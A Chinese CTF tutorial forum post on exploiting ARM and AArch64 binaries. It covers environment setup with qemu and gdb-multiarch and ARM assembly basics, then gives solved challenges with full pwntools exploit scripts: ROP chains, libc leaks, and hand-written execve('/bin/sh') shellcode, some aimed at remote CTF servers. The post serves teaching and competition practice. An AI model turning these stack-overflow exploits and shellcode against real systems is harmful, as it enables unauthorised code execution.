首页
社区
课程
招聘
[原创] CTF 中 ARM & AArch64 架构下的 Pwn
发表于: 2022-4-15 21:51 26073

[原创] CTF 中 ARM & AArch64 架构下的 Pwn

2022-4-15 21:51
26073

一般我们说的armARMv7架构,是32位,而aarch64ARMv8架构,也就是64位。

ARM软件包的安装:

在一般的CTF比赛中,arm & aarch64架构的题所给的libc都是glibc,当然也有少部分比赛所给的libcuclibcmusl-libc,这点和x86_64架构下的题是一样的。

题目所给的libc一般是不带函数符号和调试符号的,而ARM架构也不像x86_64架构一样,可以把带符号的deb包(如libc6-dbg_2.31-0ubuntu9.2_amd64.deb)解压后放在与不带符号的libc同目录下的.debug文件夹中,调试的时候就可以自动加载符号了。

当然,我们也可以下载arm对应的带符号的deb包,然后在pwndbg中用add-symbol-file命令手动加载符号,但是那样太麻烦了。

所以,我们最好自己编译出对应版本的libc,就可以带符号并且进行源码级调试了,然而,我们一般用的都是x86_64架构,而我们现在需要编译出ARM架构下的libc,自然就不能用原先自带的x86_64架构下的gcc/g++进行编译了,而是需要进行交叉编译,也就需要相应的交叉编译工具链,这里我使用的是linaro公司维护的工具链。

源码建议在这里下载:glibc_source_code

交叉编译的工具链下载:arm aarch64

进行交叉编译的命令如下:
1. arm

2. aarch64

需要注意的是,我们交叉编译出来的libc会将绝对路径硬编码进去(开-fPIC编译选项不知道能不能写相对路径进去,可以试试),所以编译后libc所在路径是不能变动的,但是我们可以将libc所在的地址软链接到题目文件夹下,如:ln -s .../glibc-2.31/aarch64/lib ./lib

比如设置的--prefix.../glibc-2.31/aarch64,也就是我们最后make install后编译出的文件都存放在这个目录下,其实只需要保留其中的lib文件夹中与libcld相关的文件及其软链接就够了(也就四个文件),其他的都可以删掉,如果不需要源码级调试,源码也都可以删掉(其实这里建议大家只保留一些常用的源码文件夹即可)。

然后就是安装qemu了,因为我们无法x86_64架构下直接运行ARM架构的二进制文件,所以需要在qemu所模拟出的环境中跑,其实对qemu版本要求不高,直接apt一行安装即可:sudo apt-get install qemu-user qemu-system

还有,我们调试ARM架构的时候需要gdb-multiarch,也是用apt一行安装即可:sudo apt-get install gdb-multiarch

我们需要用qemu来运行所给的二进制文件,下面给出启动脚本和调试脚本:

1. start.sh

如果是arm架构,则是qemu-arm
如果不需要调试,而是直接运行,则去掉-g选项。
如果是运行静态编译的文件,则去掉-L选项。
上面-L ./中的./代表重置的当前根目录
一般来说,所给的二进制文件所需要的libcld文件都被硬编码在其中的,所需的libc地址基本都是/lib/libc.so.6,所需的ld地址也都是/lib/ld-...so..这种,都需要从/lib,也就是根目录下的lib文件夹中去寻找。
因此,若是我们当前目录下有所需的lib文件夹,那么根目录就要被设置为./,也就是当前目录。

2. gdb.sh

我这里将常用的源码文件夹移动了位置(不在编译libc的原目录下了),所以需要用dir命令重定位一下源码。

以上只是简单的说一说,更具体的可以自行查阅相关资料。

先说说qemu吧,在CTF比赛中,绝大多数ARM架构的题都是在qemu模拟出的环境中跑的,而qemu有些不太安全的特性,比如它没有地址的随机化,也没有NX保护,即使题目所给的二进制文件开了NXPIE保护,也只是对真机环境奏效,而在qemu中跑的时候,仍然相当于没有这些保护,也就是说,qemu中所有地址都是有可执行权限的(包括堆栈,甚至bss段等),然后libc_baseelf_base每次跑都是固定的,当然这个固定是指在同一个环境下,本地跑和远程跑的这个固定值极有可能不相同,因此有时候打远程仍需泄露libc_base这些信息(当然也可以选择爆破,一般和本地也就差一两位的样子)。

再来说说armaarch64架构的一些常用的汇编指令集:

arm架构下的寄存器和x86_64架构还是有很大区别的,其中R0 ~ R3是用来依次传递参数的,相当于x64下的rdi, rsi, rdxR0还被用于存储函数的返回值,R7常用来存放系统调用号,R11是栈帧,相当于ebp,在arm中也被叫作FP,相应地,R13是栈顶,相当于esp,在arm中也被叫作SPR14(LP)是用来存放函数的返回地址的,R15相当于eip,在arm中被叫作PC,但是在程序运行的过程中,PC存储着当前指令往后两条指令的位置,在arm架构中并不是像x86_64那样用ret返回,而是直接pop {PC}

arm中的ldrstr指令是必须清楚的,其中ld就是load(加载),st就是store(存储),而r自然就是register(寄存器),搞明白这些以后,这两个指令就很容易理解了(cond为条件):

LDR {cond} Rd, <addr>:加载指定地址(addr)上的数据(字),放入到Rd寄存器中。

STR {cond} Rd, <addr>:将Rd寄存器中的数据(字)存储到指定地址(addr)中。

当然,这两个指令有很多种写法,灵活多变:

str r2, [r1, #2]:寄存器r2中的值被存放到寄存器r1中的地址加2处的地址中,r1寄存器中的值不变;

str r2, [r1, #2]!:与上一条一样,不过最后r1 += 4,这里的{!}是可选后缀,若选用该后缀,则表示请求回写,也就是当数据传送完毕之后,将最后的地址写入到基址寄存器(Rn)中;

ldr r2, [r1], #-2:将r1寄存器里地址中的值给r2寄存器,最后r1 -= 2

上面的立即数或者寄存器也类似,此外还可以有这些写法:

str r2, [r1, r3, LSL#2]:将寄存器r2中的值存储到寄存器r1中的地址加上r3寄存器中的值左移两位后的值所指向的地址中;

ldr r2, [r1], r3, LSL#2:将r1寄存器里地址中的值给r2寄存器,最后r1 += r3 << 2.

arm中仍有mov指令,通常用于寄存器与寄存器间的数据传输,也可以传递立即数。

mov r1, #0x10r1 = 0x10

mov r1, r2r1 = r2

mov r1, r2, LSL#2r1 = r2 << 2

由此可见,ldrstr指令通常用于寄存器与内存间的数据传递,其中会通过另一个寄存器作为中介,而mov指令则是通常用于两个寄存器之间数值的传递。

此外,还有数据块传输指令LDM, STM,具体请参考:arm汇编指令之数据块传输(LDM,STM)详解

其中提到了STMFDLDMFD指令,可用作压栈和弹栈,如STMFD SP! ,{R0-R7,LR}LDMFD SP! ,{R0-R7,LR},但是在我们拿到的CTF题目中,常见的仍是push {}pop {}指令。

还需要知道的是addsub命令:

add r1, r2, #2 相当于 r1 = r2 + 2

sub r1, r2, r3 相当于 r1 = r2 - r3.

还有跳转指令B相关的一些指令,相当于jmp

B Label:无条件跳转到Label处;

BL Label:当程序跳转到标号Label处执行时,同时将当前的PC值保存到R14中;

BX Label:这里需要先提一下arm指令压缩形式的子集Thumb指令了,不像是arm指令是一条四个字节,Thumb指令一条两个字节,arm对应的cpu工作状态位为0,而Thumb对应的cpu工作状态位为1,我们从其中一个指令集跳到另外一个指令集的时候,需要同时修改其对应的cpu工作状态位,不然会报invalid instrument错误,当BX后面的地址值最后一个bit1时,则转为Thumb模式,否则转为arm模式,直接pop {pc}这样跳转也有这种特性;

BLX Label:就是BL + BX指令共同作用的效果。

位运算命令:and orr eor 分别是 按位与、或、异或。

aarch64arm架构相比,还是有一些汇编指令上的区别的:

首先仍是寄存器,在64位下都叫作Xn寄存器了,其对应的低32位叫作Wn寄存器,其中栈顶是X31(SP)寄存器,栈帧是X29(FP)寄存器,X0 ~ X7用来依次传递参数,X0存放着函数返回值,X8常用来存放系统调用号或一些函数的返回结果,X32PC寄存器,X30存放着函数的返回地址(aarch64中的RET指令返回X30寄存器中存放的地址)。

然后是跳转指令,仍有BBL指令,新增了BR指令(向寄存器中的地址跳转),BLR组合指令。
还有一些带判断的跳转指令:b.ne是不等则跳转,b.eq是等于则跳转,b.le是大于则跳转,b.ge是小于则跳转,b.lt是大于等于则跳转,b.gt是小于等于则跳转,cbz为结果等于零则跳转,cbnz为结果非零则跳转...

aarch64架构下的一大变化就是,不再使用pushpop指令压栈和弹栈了,也没有LDMSTM指令,而是使用STPLDP指令:

STP x4, x5, [sp, #0x20]:将sp+0x20处依次覆盖为x4,x5,即x4入栈到sp+0x20x5入栈到sp+0x28,最后sp的位置不变。

LDP x29, x30, [sp], #0x40:将sp弹栈到x29sp+0x8弹栈到x30,最后sp += 0x40

其中,STPLDP中的Ppair(一对)的意思,也就是说,仅可以同时读/写两个寄存器。

基本来说,常用的就是以上的命令,但是armaarch64的命令远远不止以上这些,希望各位读者自行查阅相关资料进行学习。

【附】系统调用号:

基于arm架构的linux系统调用号

基于aarch64架构的linux系统调用号

这部分就不准备细说了,因为这些题目难的可能只是对armaarch64架构不太熟悉,漏洞点和利用方式都和x86_64架构差不多,且利用手法也没有x86_64架构下那么花里胡哨,看看exp基本也就都清楚了。

静态编译的程序,也就不需要动态链接库了,因此libc中的system/bin/sh字符串在所给的二进制文件中自然是有的,不过所给的二进制文件去除了符号表,我们不容易找到它们的位置。

这里建议先用IDARizzo插件修复符号表,就可以清楚地看到system函数的位置了,不然用交叉引用来找的话比较麻烦。

Rizzo 的 Github 项目地址

一个ret2libc...

需要注意的是,调用puts后,最后会进入write,但是并不是从头开始调用write函数的,我们知道,当进入一个函数的时候,会先push {}一串寄存器,再在该函数返回时,pop {}对应的寄存器,使得栈恢复到进入该函数前的状态,而这里由于从puts中走到write的时候,不是从头开始执行的,因此不会有前面push {}的过程,但是最后会有pop {}的发生,故会导致write返回的时候栈恢复不到原先的样子,因此,需要压进去一些垃圾数据来使栈恢复。

我本地和远程的libc版本不同,所以需要压进去的垃圾数据的个数也不同,这个需要自行调试,也体现出带符号表调试的必要性。

一个ret2shellcode...

我都是手撸shellcode,这里svc 0相当于int 0x80 / syscall,在程序运行中,pc寄存器指向当前指令后两条指令的位置。

观察以下这段汇编代码段:

可以知道,read读入的源地址是由R11(相当于ebp)控制的,这点和x86_64架构下也是类似的。

因此,我们可以控制R11寄存器进行二次读入,将shellcode读入到bss段上,然后直接打过去就行(因为qemu所有地址都是可执行的,自然包括bss段)。

其实这个题若是qemu环境跑的话,任意地址都是有可执行权限的,所以直接ret2shellcode就能通:

但是这样就很没意思了,我们就把他当作真机的环境,需要我们用mprotect赋予bss段可执行权限,这样就是一个aarch64架构下的ret2csu了,不过和x86_64架构下的差不多,这里也就不多做分析了。

gadget 1 :

gadget 2 :

注:shellcode中的xzr是清零寄存器。

我是写了个栈迁移(stack pivot),其实方法有很多。

观察到下面这个gadget

很容易想到,可以通过控制R11寄存器进行栈迁移。

这里也用到了上面InCTF-2018 wARMup一题所利用的方式,先将gadget读到了bss段上,然后再栈迁移过去。

需要注意一些细节,比如迁移到的地址需要在bss段的基础上抬高一段距离等等。

由于alias索引没清空,导致了UAF,即使是qemu模拟的环境,本地和远程环境下固定的libc_base也会不一样,因此最好还是先泄露libc_base

arm架构下很简单的一道堆题,漏洞点就在switch没有default卡住,导致可以继续向下执行,继而可以弄出double free

arm架构下的堆题,不过这题的libc不是glibc了,而是uclibc,其实在这道题中没什么区别,一样的做就可以了,有堆溢出漏洞,又没有PIE,于是打一个unsafe unlink即可,很容易。

aarch64架构下的堆,很明显有一个off by null,简单构造利用一下即可。

需要注意的是aarch64架构下的libc泄露,由于跑qemu的时候,libc_base一般都是0x4000XXX000这样的地址,因此泄露数据的时候会被\x00截断,其实只需要泄露后三个字节(后六位),然后加上0x4000000000即可得到泄露出的libc地址。

sudo apt-get install gcc-arm-linux-gnueabi
sudo apt-get install gcc-aarch64-linux-gnu
sudo apt-get install gcc-arm-linux-gnueabi
sudo apt-get install gcc-aarch64-linux-gnu
cd .../glibc-2.31
mkdir arm
mkdir build
cd build
CC=.../gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf/bin/arm-linux-gnueabihf-gcc \
CXX=.../gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf/bin/arm-linux-gnueabihf-g++ \
CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
../configure \
--prefix=.../glibc-2.31/arm \
--host=arm-linux \
--target=arm-linux \
--disable-werror
make
make install
cd .../glibc-2.31
mkdir arm
mkdir build
cd build
CC=.../gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf/bin/arm-linux-gnueabihf-gcc \
CXX=.../gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf/bin/arm-linux-gnueabihf-g++ \
CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
../configure \
--prefix=.../glibc-2.31/arm \
--host=arm-linux \
--target=arm-linux \
--disable-werror
make
make install
cd .../glibc-2.31
mkdir aarch64
mkdir build
cd build
CC=.../gcc-linaro-7.5.0-2019.12-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu-gcc \
CXX=.../gcc-linaro-7.5.0-2019.12-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu-g++ \
CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
../configure \
--prefix=.../glibc-2.31/aarch64 \
--host=aarch64-linux \
--target=aarch64-linux \
--disable-werror
make
make install
cd .../glibc-2.31
mkdir aarch64
mkdir build
cd build
CC=.../gcc-linaro-7.5.0-2019.12-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu-gcc \
CXX=.../gcc-linaro-7.5.0-2019.12-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu-g++ \
CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
../configure \
--prefix=.../glibc-2.31/aarch64 \
--host=aarch64-linux \
--target=aarch64-linux \
--disable-werror
make
make install
#!/bin/bash
qemu-aarch64 \
    -g 1234 \
    -L ./ ./pwn
#!/bin/bash
qemu-aarch64 \
    -g 1234 \
    -L ./ ./pwn
#!/bin/sh
gdb-multiarch -q \
    -ex "file ./pwn" \
    -ex "b ..." \
    -ex "dir .../glibc-source/2.31/stdio-common" \
    -ex "dir .../glibc-source/2.31/stdlib" \
    -ex "dir .../glibc-source/2.31/libio" \
    -ex "dir .../glibc-source/2.31/malloc" \
    -ex "target remote :1234" \
    -ex "c"
#!/bin/sh
gdb-multiarch -q \
    -ex "file ./pwn" \
    -ex "b ..." \
    -ex "dir .../glibc-source/2.31/stdio-common" \
    -ex "dir .../glibc-source/2.31/stdlib" \
    -ex "dir .../glibc-source/2.31/libio" \
    -ex "dir .../glibc-source/2.31/malloc" \
    -ex "target remote :1234" \
    -ex "c"
from pwn import *
context(os = "linux", arch = 'arm', log_level = 'debug')
 
io = process("qemu-arm ./pwn", shell = True)
 
gadget_addr = 0x20904 # pop {r0, r4, pc};
bin_sh_addr = 0x6c384
system_addr = 0x110B4
 
io.send(b'\n')
payload = b'a'*0x70 + p32(gadget_addr) + p32(bin_sh_addr) + p32(0) + p32(system_addr)
io.send(payload)
io.interactive()
from pwn import *
context(os = "linux", arch = 'arm', log_level = 'debug')
 
io = process("qemu-arm ./pwn", shell = True)
 
gadget_addr = 0x20904 # pop {r0, r4, pc};
bin_sh_addr = 0x6c384
system_addr = 0x110B4
 
io.send(b'\n')
payload = b'a'*0x70 + p32(gadget_addr) + p32(bin_sh_addr) + p32(0) + p32(system_addr)
io.send(payload)
io.interactive()
from pwn import *
context(os = 'linux', arch = 'arm', log_level = 'debug')
 
io = process("qemu-arm -L ./ ./pwn", shell = True)
# io = process("qemu-arm -g 1234 -L ./ ./pwn", shell = True)
# io = remote("node4.buuoj.cn", 28706)
 
elf = ELF("./pwn")
libc = ELF("./lib/libc-2.27.so")
# libc = ELF("./libc-2.30.so")
 
def check(height, weight):
    io.sendlineafter("Type the number:", b'1')
    io.sendlineafter("Your height(meters) : ", str(height))
    io.sendlineafter("Your weight(kilograms) : ", str(weight))
 
def PT(size):
    io.sendlineafter("Type the number:", b'3')
    io.sendlineafter("How long do you want to take personal training?\n", str(size))
 
def write_diary(payload):
    io.sendlineafter("Type the number:", b'4')
    io.send(payload)
 
def quit():
    io.sendlineafter("Type the number:", b'6')
 
if __name__ == '__main__':
    check(233, 233)
    PT(-1)
    pop_r0_pc = 0x11bbc
    payload = b'a'*0x54 + p32(pop_r0_pc) + p32(elf.got['puts']) + p32(elf.plt['puts']) + p32(0)*3 + p32(elf.sym['main'])
    # payload = b'a'*0x54 + p32(pop_r0_pc) + p32(elf.got['puts']) + p32(elf.plt['puts']) + p32(0)*5 + p32(elf.sym['main'])
    write_diary(payload)
    quit()
     
    io.recvuntil("See you again :)\n")
    libc.address = u32(io.recv(4)) - libc.sym['puts']
    success("libc_base:\t" + hex(libc.address))
     
    check(233, 233)
    PT(-1)
    payload = b'a'*0x54 + p32(pop_r0_pc) + p32(next(libc.search(b'/bin/sh'))) + p32(libc.sym['system'])
    write_diary(payload)
    quit()
    io.interactive()
from pwn import *
context(os = 'linux', arch = 'arm', log_level = 'debug')
 
io = process("qemu-arm -L ./ ./pwn", shell = True)
# io = process("qemu-arm -g 1234 -L ./ ./pwn", shell = True)
# io = remote("node4.buuoj.cn", 28706)
 
elf = ELF("./pwn")
libc = ELF("./lib/libc-2.27.so")
# libc = ELF("./libc-2.30.so")
 
def check(height, weight):
    io.sendlineafter("Type the number:", b'1')
    io.sendlineafter("Your height(meters) : ", str(height))
    io.sendlineafter("Your weight(kilograms) : ", str(weight))
 
def PT(size):
    io.sendlineafter("Type the number:", b'3')
    io.sendlineafter("How long do you want to take personal training?\n", str(size))
 
def write_diary(payload):
    io.sendlineafter("Type the number:", b'4')
    io.send(payload)
 
def quit():
    io.sendlineafter("Type the number:", b'6')
 
if __name__ == '__main__':
    check(233, 233)
    PT(-1)
    pop_r0_pc = 0x11bbc
    payload = b'a'*0x54 + p32(pop_r0_pc) + p32(elf.got['puts']) + p32(elf.plt['puts']) + p32(0)*3 + p32(elf.sym['main'])
    # payload = b'a'*0x54 + p32(pop_r0_pc) + p32(elf.got['puts']) + p32(elf.plt['puts']) + p32(0)*5 + p32(elf.sym['main'])
    write_diary(payload)
    quit()
     
    io.recvuntil("See you again :)\n")
    libc.address = u32(io.recv(4)) - libc.sym['puts']
    success("libc_base:\t" + hex(libc.address))
     
    check(233, 233)
    PT(-1)
    payload = b'a'*0x54 + p32(pop_r0_pc) + p32(next(libc.search(b'/bin/sh'))) + p32(libc.sym['system'])
    write_diary(payload)
    quit()
    io.interactive()
from pwn import *
context(os = 'linux', arch = 'arm', log_level = 'debug')
 
#io = process("qemu-arm -L ./ ./pwn", shell = True)
io = remote("node4.buuoj.cn", 26999)
 
io.sendlineafter("Give me data to dump:\n", b'leak')
shellcode_addr = int(io.recv(10), 16)
success("shellcode_addr:\t" + hex(shellcode_addr))
 
io.sendlineafter("Dump again (y/n):\n", b'y')
 
shellcode = asm('''
    eor r1, r1
    eor r2, r2
    mov r7, #11
    mov r0, pc
    svc 0
    .ascii "/bin/sh\\0"
''')
payload = shellcode.ljust(0xa4, b'\x00') + p32(shellcode_addr)
io.sendlineafter("Give me data to dump:\n", payload)
 
io.sendlineafter("Dump again (y/n):\n", b'n')
io.interactive()
from pwn import *
context(os = 'linux', arch = 'arm', log_level = 'debug')
 
#io = process("qemu-arm -L ./ ./pwn", shell = True)
io = remote("node4.buuoj.cn", 26999)
 
io.sendlineafter("Give me data to dump:\n", b'leak')
shellcode_addr = int(io.recv(10), 16)
success("shellcode_addr:\t" + hex(shellcode_addr))
 
io.sendlineafter("Dump again (y/n):\n", b'y')
 
shellcode = asm('''
    eor r1, r1
    eor r2, r2
    mov r7, #11
    mov r0, pc
    svc 0
    .ascii "/bin/sh\\0"
''')
payload = shellcode.ljust(0xa4, b'\x00') + p32(shellcode_addr)
io.sendlineafter("Give me data to dump:\n", payload)
 
io.sendlineafter("Dump again (y/n):\n", b'n')
io.interactive()
from pwn import *
context(os = 'linux', arch = 'arm', log_level = 'debug')
 
io = process("qemu-arm -L ./ ./pwn", shell = True)
# io = remote("node4.buuoj.cn", 28441)
elf = ELF("./pwn")
 
payload = b'a'*0x64 + p32(elf.bss() + 0x68) + p32(0x1052C)
io.send(payload)
 
shellcode = asm('''
    add r0, pc, #12
    mov r1, #0
    mov r2, #0
    mov r7, #11
    svc 0
    .ascii "/bin/sh\\0"
''')
payload = shellcode.ljust(0x68, b'\x00') + p32(elf.bss())
io.send(payload)
io.interactive()
from pwn import *
context(os = 'linux', arch = 'arm', log_level = 'debug')
 
io = process("qemu-arm -L ./ ./pwn", shell = True)
# io = remote("node4.buuoj.cn", 28441)
elf = ELF("./pwn")
 
payload = b'a'*0x64 + p32(elf.bss() + 0x68) + p32(0x1052C)
io.send(payload)
 
shellcode = asm('''
    add r0, pc, #12
    mov r1, #0
    mov r2, #0
    mov r7, #11
    svc 0
    .ascii "/bin/sh\\0"
''')
payload = shellcode.ljust(0x68, b'\x00') + p32(elf.bss())
io.send(payload)
io.interactive()
from pwn import *
context(os = 'linux', arch = 'aarch64', log_level = 'debug')
 
io = process("qemu-aarch64 -L ./ ./pwn", shell = True)
# io = remote("node4.buuoj.cn", 27295)
elf = ELF("./pwn")
 
shellcode_addr = 0x411068
 
shellcode = asm('''
    add x0, x30, #20
    mov x1, xzr
    mov x2, xzr
    mov x8, #221
    svc 0
    .ascii "/bin/sh\\0"
''')
io.sendafter("Name:", shellcode)
 
payload = b'a'*0x48 + p64(shellcode_addr)
io.send(payload)
io.interactive()
from pwn import *
context(os = 'linux', arch = 'aarch64', log_level = 'debug')
 
io = process("qemu-aarch64 -L ./ ./pwn", shell = True)
# io = remote("node4.buuoj.cn", 27295)
elf = ELF("./pwn")
 
shellcode_addr = 0x411068
 
shellcode = asm('''
    add x0, x30, #20
    mov x1, xzr
    mov x2, xzr

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2023-12-9 11:57 被winmt编辑 ,原因: (手滑
上传的附件:
收藏
免费 16
支持
分享
最新回复 (3)
雪    币: 14501
活跃值: (17396)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
2
感谢分享,希望能把题目也发出来供大家学习
2022-9-2 17:31
0
雪    币: 536
活跃值: (8127)
能力值: ( LV13,RANK:438 )
在线值:
发帖
回帖
粉丝
3
pureGavin 感谢分享,希望能把题目也发出来供大家学习
你好,附件已上传。
2022-9-4 13:18
0
雪    币: 1760
活跃值: (823)
能力值: ( LV3,RANK:38 )
在线值:
发帖
回帖
粉丝
4
感谢分享
2022-9-6 08:05
0
游客
登录 | 注册 方可回帖
返回
//